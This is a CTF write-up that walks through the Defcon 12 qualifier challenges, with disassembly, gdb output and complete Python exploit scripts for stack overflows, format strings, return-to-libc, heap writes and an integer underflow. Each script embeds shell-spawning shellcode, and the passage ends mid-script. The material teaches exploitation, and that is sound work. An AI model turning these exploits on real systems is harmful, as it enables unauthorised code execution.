Defcon 2004 CTF Quals Writeup

Aaaaaah, yeah. Qualifying for Defcon 12, suckers!

This post is a tutorial-style writeup of all the Defcon 12 CTF qualifiers I could manage to solve. It should be a decent place to start if you haven’t done a lot of CTF style challenges/binary exploitation before, since the binaries all easily run on Linux and there are solutions available. I originally grabbed the binaries here, and I’ve also mirrored them here. Thanks captf.com, Defcon, and (I think) Ghetto Hackers!

I thought these challenges were fun, and there were a couple things I came across that I haven’t seen before. If this were skiing, this would be a blue square, which stands for intermediate. It might be a bit boring for the pros, but I’m not going to re-hash your first buffer overflow or talk about all the details of a format string either (and there should be enough information to hopefully follow along if you get stuck at any point).

If you try these and you do get stuck, feel free to ask questions and I’ll do my best to answer them.

Setup

Downloading the challenges, these are just a bunch of ELF files that are run locally. I assume in the real qualifiers each stage was probably setuid to the next level, similar to how other popular challenges like smashthestack work. My goal for each level was to simply get a single shell. I reused the same /bin/dash shellcode again and again. I made no effort to make things reliable or anything, and in some cases it would be pretty difficult to make these exploits reliable.

I used a Backtrack 5 R2 32 bit vm. 32 bit may be important since by default 32 bit doesn’t seem to enable NX, so depending on the binary it might be easier to execute code on the stack.

root@bt:~# dmesg |grep -i nx
[    0.000000] Notice: NX (Execute Disable) protection cannot be enabled: non-PAE kernel!

Also, I disabled ASLR.

root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space 

As for tools, I pretty much only used python, IDA Pro and gdb. Alright, let’s get cracking!

Stage 2

This one was a very straightforward stack overflow. The first thing I did was just run it with a long argv1. It crashed. So then I set ulimit -c unlimited and metasploits pattern_create/pattern_offset to observe the dump.

./stage2 `pattern_create.rb 1024`

This created a segfault

gdb ./stage2 core
info registers
...

shell ./pattern_offset.rb 35644134
104

So offset 104 for an eip overwrite, and the shellcode can probably go after 104, since that doesn’t seem to have been modified.

#!/usr/bin/python

import os
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage2"

    #spawns /bin/dash, real server may require different stuff (connectback, etc)
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    retaddr = struct.pack("<I", 0xbffffcf0) * 5
    padlen = 100

    self.payload = ("A" * 100 + retaddr + "\x90" * 300) + dashsc
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : dashsc}

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 3

This looks like a straightforward format string

.text:08048364 push    ebp
.text:08048365 mov     ebp, esp
.text:08048367 sub     esp, 8
.text:0804836A mov     eax, [ebp+format]
.text:0804836D mov     [esp], eax      ; format
.text:08048370 call    _printf
.text:08048375 leave
.text:08048376 retn
.text:08048376 sub_8048364

And sure enough running with %n crashes the process. Looking for a location to overwrite:

# objdump -s -j .dtors stage3

stage3:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

So overwriteloc = 8049598

#!/usr/bin/python

import struct
import os

class exploit:
	def __init__(self):
		self.vulnpath = "/root/Desktop/stage3"

		#spawns /bin/dash
		dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
		)

		owlocation = 0x08049598
		#owValue = 0x41414242
		owValue = 0xbfffff3c

		#nice to make sure self.payload is always a consistent length
		#padlen and offset are tied together
		padlen = 562
		offset = 110

		#fmtstr = "AAAABBBBCCCCDDD %113$08x"
		fmtstr = self.address_overwrite_format(owlocation, owValue)
		self.payload = (self.padstr(fmtstr))
		self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" *112 +  dashsc}

	def padstr(self, payload, padlen=650):
		if (len(payload) > padlen):
			raise "payload too long"
		return payload + (" " * (padlen-len(payload)))

	def address_overwrite_format(self, owlocation, owvalue):
		HOW = owvalue >> 16
		LOW = owvalue & 0xffff
		mformat = ""
		if LOW > HOW:
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8) +"x%113$hn%." + str(LOW-HOW) + "x%114$hn"
		else:
			print "here"
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8) +"x%114$hn%." + str(HOW-LOW) + "x%113$hn"
		return mformat

	def pwn(self):
		os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 4

This one needs both HELLOWORLD envrironment variable and an arg

Helloworld overwrites the local counter variable, which is used as an offset.

The loop at 08048472 is copying from src+var_counter to buffer+varcounter, one byte at a time. When we overflow, we overwrite the counter (at byte offset 125) so using this we can overwrite the return address on the stack (at offset 140).

Here’s the loop:

.text:08048472 loc_8048472:                            ; CODE XREF: func_infinite+4Ej
.text:08048472                 mov     eax, [ebp+var_counter]
.text:08048475                 add     eax, [ebp+src]
.text:08048478                 cmp     byte ptr [eax], 0
.text:0804847B                 jnz     short loc_804847F
.text:0804847D                 jmp     short locret_804849C
.text:0804847F ; ---------------------------------------------------------------------------
.text:0804847F
.text:0804847F loc_804847F:                            ; CODE XREF: func_infinite+2Fj
.text:0804847F                 lea     eax, [ebp+buffer] ; copy from src+counter to buffer+counter
.text:08048485                 mov     edx, eax
.text:08048487                 add     edx, [ebp+var_counter]
.text:0804848A                 mov     eax, [ebp+var_counter]
.text:0804848D                 add     eax, [ebp+src]
.text:08048490                 movzx   eax, byte ptr [eax]
.text:08048493                 mov     [edx], al
.text:08048495                 lea     eax, [ebp+var_counter]
.text:08048498                 inc     dword ptr [eax]
.text:0804849A                 jmp     short loc_8048472
.text:0804849C ; ---------------------------------------------------------------------------
.text:0804849C
.text:0804849C locret_804849C:                         ; CODE XREF: func_infinite+31j
.text:0804849C                 leave
.text:0804849D                 retn

The stack looks like this:

-00000088 buffer          db 124 dup(?)
-0000000C var_counter     dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 src             dd ?

So the final exploit was:

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage4"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    overwriteaddr = struct.pack("<I", 0xbffffe60)

    arg1 = "A" * 140
    #eip offset is at 140 (0x8b)
    #we overwrite the counter byte at 125
    envin = "B" * 124 + "\x8b" + "B" * 15 + overwriteaddr

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc, "HELLOWORLD" : envin}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $src=8",
      "set $counter=-0xc",
      "set $buffer=-0x88",
      "break *0x08048472 if *(int)($ebp-0xc) == 124",
      "run " + '"' + self.payload + '"',
      "info registers",
      "disable 1",
      "break *0x08048472",
      "x/d $ebp + $counter"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 5

I’m not sure why this level exists… it’s the easiest yet… vanilla strcpy. Literally a 5 minute level. To make the tutorial more interesting, I tried to exploit this without executing code on the stack with return2libc.

First, I created a simple setuid program named wrapper:

int main() {
	setuid(0);
	setgid(0);
	system("/bin/sh");
}

Now the goal is to craft the stack so that I call execl like this:

execl("./wrapper", "./wrapper", NULL);

Because arguments are pushed in reverse, I need to put NULL in my string before “./wrapper”. One way to solve this is by putting a printf before the execv that has a format string, and then you can write NULL to the correct location on the stack before execl is called. (e.g. printf(“%3$n”, xxxx, xxxx, xxxx, myaddress)). In the end I need several addresses: the address for libc printf, libc execl, a pointer to the string %3$n, a pointer to the string “./wrapper”, and the stack address “myaddress”. I found these addresses by intentionally crashing the program with an invalid printf address and other placeholders, opening the core file with gdb and searching for the addresses. Useful gdb commands are “p printf” and “find $esp, 0xbfffffff, “./wrapper””.

The final exploit (which never executes on the stack and will vary based on your computer) looks like this:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage5"
 
    printf = struct.pack("<I", 0xb7ebb130)
    execl = struct.pack("<I", 0xb7f0c330)
    formatstr = struct.pack("<I", 0xbfffffee) #points to %3$n
    progname = struct.pack("<I", 0xbfffffcd) #points to "./wrapper"
    nullwrite = struct.pack("<I", 0xbffffd30) #points to itself

    arg1 = "A" * 260 + printf + execl + formatstr + progname + progname + nullwrite
    

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "blah" : "./wrapper"}
    self.mfile = "command.gdb"

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 6

This is a heap overflow resulting in an arbitrary overwrite with the linking/unlinking. The while loop at the end is to prevent us from simply overwriting dtors.

I think the best approach is:

• We can control src and dest for the last strcpy at 0804841F
• Use it to overwrite our own return value saved on the stack for strcpy itself

One note is I used core dumps again rather than running with gdb directly, so gdb didn’t mess with any of the stack values since they’re sensative. Calculating how big stuff should be, arg1 starts overwriting the destination at offset 268

Here I try that with owDest set to 0x56565656, and ecx set to AAAAAAAA..

(gdb) info registers
eax            0x56565656	1448498774
ecx            0x42	66
edx            0x0	0
ebx            0xb7fcaff4	-1208176652
esp            0xbffffae0	0xbffffae0
ebp            0xbffffae8	0xbffffae8
esi            0x56565655	1448498773
edi            0xbffffebe	-1073742146
eip            0xb7ee8214	0xb7ee8214 <strcpy+20>
eflags         0x210246	[ PF ZF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)

Looking around for valid addresses…

(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)
(gdb) backtrace
#0  0xb7ee8214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
#1  0x08048424 in ?? ()
#2  0xb7e8bbd6 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
#3  0x08048321 in ?? ()
(gdb) x/20x $esp
0xbffffae0:	0x00000000	0x00000000	0xbffffc18	0x08048424
0xbffffaf0:	0x56565656	0xbffffebe	0xb7e78ba8	0x00000001
0xbffffb00:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb20:	0x41414141	0x41414141	0x41414141	0x41414141

So we want to overwrite $esp + 12, or dest=0xbffffaec with an address for our shellcode, or 0xbfffff30. And bam, this works

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage6"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )
    owDest = struct.pack("<I", 0xbffffaec)
    scAddr = struct.pack("<I", 0xbfffff30)

    arg1 = "A" * 268 + owDest
    arg2 = scAddr

    self.arg1 = arg1
    self.arg2 = arg2
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $arg1=0xc + 4",
      "set $arg2=0xc + 8",
      #"break *0x0804841F",
      "run " + '"' + self.arg1 + '" "' + self.arg2 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1, self.arg2], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 7

This problem has a simple strcpy overflow, but we can’t just overwrite the ret value because of this “canary” loop that makes sure our string terminates.

.text:08048436
.text:08048436 loc_8048436:
.text:08048436 cmp     [ebp+var_a], 0
.text:0804843B jnz     short loc_8

Since var_a (a local variable) is 0, that terminates our strcpy string and we’d have to terminate our overrun. But, there’s also a format string where we can overwrite a single word

Strategy:

• Simple regular overflow with the strcpy (it can’t be a whole address – only a word and this is in range)
• Printf overwrite the value for var_a

Important Offsets:
• 264 to var_malloced, which contains the value the location we can overwrite with our format string
• 270 to var_a, which we’re trying to overwrite with 0, but we can’t directly because it will end our string.
• 284 to ret

Format string is like: mov %dx,(%eax), where %dx is n (the number of bytes). Having an overwrite that’s exactly 2** 16th should wrap the value, so we can get a 0 into dx and bypass the “canary”, since the canary is only comparing 2 bytes with cmpw

0x08048436 in ?? ()
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)

To get the address where the canary (var_a) exists, I let it run in that continuous loop and attached a debugger after running.

(gdb) attach 21379
Attaching to process 21379
Reading symbols from /root/Desktop/defcon/7/stage7...(no debugging symbols found)...done.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x08048436 in ?? ()
(gdb) x/i $eip
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)
(gdb) x/x $ebp -0xa    #this is the value we need to overwrite
0xbffefd1e:	0x43434343
(gdb) x/x 0xbffefb8e      #this is the value I guessed to be overwritten, so off a bit
0xbffefb8e:	0xf0000000

Here’s the final code:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage7"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #overwrite var_a with 0 to bypass the "canary"
    var_malloced = struct.pack("<I", 0xbffefd1e)
    var_a = struct.pack("<I", 0x43434343)

    ret_ow = struct.pack("<I", 0xbfffff10)

    arg1 = "A" * 264 + var_malloced + "AA" + var_a + "Q"* 10 + ret_ow

    #pad arg1 so it's 2**16 to have our overwrite value be exactly 0
    arg1 += "D" * (2**16 - len(arg1))

    self.arg1 = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $var_a=-0xA",
      "set $arg2=0xc + 8",
      "run " + '"' + self.arg1 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 8

This program crashes very easily, but the exploit took a few steps. Here’s the overall strategy.

  1. Overwrite the address 0x41414141 with the value 9000, which will segfault. Note ebp in the crash dump (in the prog below this is owDest, which references the %hn and owValue is the len being put there)
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7eb4ec1 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
    (gdb) info registers 
    eax            0x41414141	1094795585
    ecx            0xbfff6d3c	-1073779396
    edx            0x9000	36864
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff665c	0xbfff665c
    ebp            0xbfff6be8	0xbfff6be8
    esi            0xbfff6c10	-1073779696
    edi            0xbfff6d38	-1073779400
    eip            0xb7eb4ec1	0xb7eb4ec1 <vfprintf+17073>
    eflags         0x10286	[ PF SF IF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7eb4ec1 <vfprintf+17073>:	mov    %dx,(%eax)
    
    
  2. Overwrite ebp with xxxx9000, which is an address we control. This took some trial and error to see how long it should be, but 9000 seems reasonable

    (gdb) x/x 0xbfff9000
    0xbfff9000:	0x41414141
    
  3. Having accomplished the first two steps, we still segfault at the end of vsnprintf movb 0x0,($edx). We control edx, so find this offset so we overwrite something harmlessly. Using msf_pattern, this offset is at location 8012. Below is the crash.

    (gdb) info registers 
    eax            0x9000	36864
    ecx            0xbfff6bf4	-1073779724
    edx            0x41414141	1094795585
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff6bf4	0xbfff6bf4
    ebp            0xbfff9000	0xbfff9000
    esi            0xbfff6cb0	-1073779536
    edi            0xbfff6d38	-1073779400
    eip            0xb7ed446e	0xb7ed446e <vsnprintf+206>
    eflags         0x10a87	[ CF PF SF IF OF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7ed446e <vsnprintf+206>:	movb   $0x0,(%edx)
    
    
  4. Ebp now points to our controlled value, so we need to find offset to the xxxx9000 that we’re pointing at, and point it at our shellcode (remember it’s a pointer to our shellcode, not our shellcode itself). It’s offset is at 8012 + 216, and searching through the program for our shellcode we can just point it at that.

Now that we have all these offsets, we can build an exploit.

#/usr/bin/python

import os
import argparse
import struct
from subprocess import *

class exploit:
  def __init__(self):
    self.vulnpath = "./stage8"
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )


    #at the segfault, this is the return stack
    #overwrite $ebp
    owDest = struct.pack("<I", 0xbfff6be8)
    owValue = 0x9000

    #useful msf patterns to find offsets
    #patternprog = "/usr/bin/ruby /opt/framework3/msf3/tools/pattern_create.rb " + str(owValue)
    #msfhandle = Popen(patternprog, shell=True, stdout=PIPE)
    #msf_pattern = msfhandle.communicate()[0].strip()

    garbageow = struct.pack("<I", 0xbfffffc4)
    ebpPointer = struct.pack("<I", 0x45454545)
    ebpPointer = struct.pack("<I", 0x41414141)
    eipPointer = struct.pack("<I", 0xbfff7c90)

    dashsc += "\x90" * 5000 + dashsc
    self.payload = owDest + dashsc + ("A" * (8012-len(dashsc)))
    self.payload += garbageow + "C" * 212 + ebpPointer + eipPointer
    self.payload += "G" * (owValue - len(self.payload)-2)

    self.env = {"shell" : "/bin/dash", "format" : "%3$n"}
    self.mfile = "command.gdb"

  #addresses were finicky - I opted to use dump files for this one
  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "break *0x08048453",
      "run " + '"' + self.payload + '"',
      ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 9

One of the first things I noticed here was ctype call, so this was useful: http://refspecs.linuxbase.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/baselib—ctype-b-loc.html

The check at 0x080484B9 needs a 0x80 at an even offset to succeed, and we can only control up to the table plus 0xff.Looking at these values:

(gdb) x/510hx $eax+1
0xb7f92721:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92731:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92741:	0x0800	0x00d8	0x0800	0x00d8	0x0400	0x00c0	0x0400	0x00c0
0xb7f92751:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f92761:	0x0400	0x00c0	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5
0xb7f92771:	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00c5
0xb7f92781:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f92791:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927a1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927b1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927c1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0400	0x00c0
0xb7f927d1:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f927e1:	0x0400	0x00c0	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6
0xb7f927f1:	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00c6
0xb7f92801:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92811:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92821:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92831:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92841:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0400	0x00c0
0xb7f92851:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0

Also, looking ahead in the code, var_58 (which is retrieved from a wonky calculation from the lookup table) is first checked to see if it’s bigger than 0x4f, and if it is it’s just set to 0x4f. This is the size of our buffer.

08048523 jle     short loc_804852C
08048525 mov     [ebp+var_58], 4Fh
...

This value is then put in a loop until it’s equal to -1, and var_58 is treated like a counter, being decremented every time. Meanwhile, our arg is copied into that buffer of size 0x4f.

.text:08048530
.text:08048530 loc_8048530:                            ; CODE XREF: main+55j
.text:08048530                 dec     [ebp+var_58]
.text:08048533                 cmp     [ebp+var_58], 0FFFFFFFFh
.text:08048537                 jnz     short loc_8048540
.text:08048539                 jmp     short loc_8048553
.text:08048539 ; ---------------------------------------------------------------------------
.text:0804853B                 align 10h
.text:08048540
.text:08048540 loc_8048540:                            ; CODE XREF: main+3Bj
.text:08048540                 call    _getchar
.text:08048545                 mov     eax, eax
.text:08048547                 mov     ecx, [ebp+var_bufferptr]
.text:0804854A                 mov     edx, ecx
.text:0804854C                 mov     [edx], al
.text:0804854E                 inc     [ebp+var_bufferptr]
.text:08048551                 jmp     short loc_8048530
.text:08048553 ; ---------------------------------------------------------------------------

This has an integer error since it’s checking if our signed int is -1 and then decing it. The more negative our number the less iterations we go through, and while we don’t need to be exact, there’s a > 2GB difference between -2 and the -MAX_INT. Let’s see the most negative number we can get from the weird calculation. As input there are quite a few numbers that have \x80 that we could play with. However I tried to just “brute force” this and use the second one at offset \x30 (if you use the first one, it subtracts the value and it’s a nop). So I gave it a bunch of \x30s (thousands) and set a conditional breakpoint to check what the value is.

"break *0x080484E3 if $edx  < -2000000000",

I also had a breakpoint set so it would print the original arg address

      "break *0x08048530",
      "print \"EBP plus arg0 is: \"",
      "print $ebp + 8" ,

So sure enough, there is a \x30 which is below -2000000000 (close enough to -MAX_INT). To calculate, I can just take the difference of the value printed and the value of $ebp+8 at the breakpoint. The difference is 18, so in conclustion 18 “\x30″ gives us a number pretty close to -INT_MAX, which is our smallest distance to get back to -1 and exit the loop.

There is still a lot of space there that we need to have available for overwriting to avoid a segfault. We need about 2.3GB of space to overwrite. I needed to configure my environment to allow this, but your kernel could also have restrictions.

ulimit -s unlimited
getconf ARG_MAX 

Even setting bash to the max, 2.3 GB was more than Backtrack 5 R2 32 bit allows without a kernel recompilation. I ended up having to migrate to 64 bit Backtrack R3, which allowed a big enough stack size out of the box.

So now I needed to generate a massive STDIN. This is what’s overwriting my buffer and will contain my shellcode.

#!/usr/bin/python
import struct

f = open("stdin", "w")

    #spawns /bin/dash
dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

#random stack address
#retaddr = struct.pack("<I", 0xfee498c0) 
retaddr = struct.pack("<I", 0xf7e4c881) 
f.write(retaddr * 2**16)
for i in range (0,35000):
    f.write("\x90" * 2**16 + "\xcc" + dashsc)
    f.flush()

f.close()

Here’s the final wrapper. Remember, it needs enough space on the stack to copy all this garbage. I did this by creating tons of environment variables, since something in my environment was throwing an exception when I tried to make a single environment variable much bigger.

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self, path):
    self.vulnpath = path
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #this give us a relatively close underflow
    arg1 = (18) * "\x31"

    self.payload = arg1
    self.env = { "shell" : "/bin/dash", "format" : "%3$n" }

    #add env padding - 3500 is roughly 100 MB
    #for i in range(0,3500):
    for i in range(0,35000):
        padkey = "pad" + str(i)
        self.env[padkey] = "A" * 2**16

    print "Done padding"

    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    print "no debugging - stack needs too much room"
  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
parser.add_argument('path')

args = parser.parse_args()
m = exploit(args.path)
if args.debug:
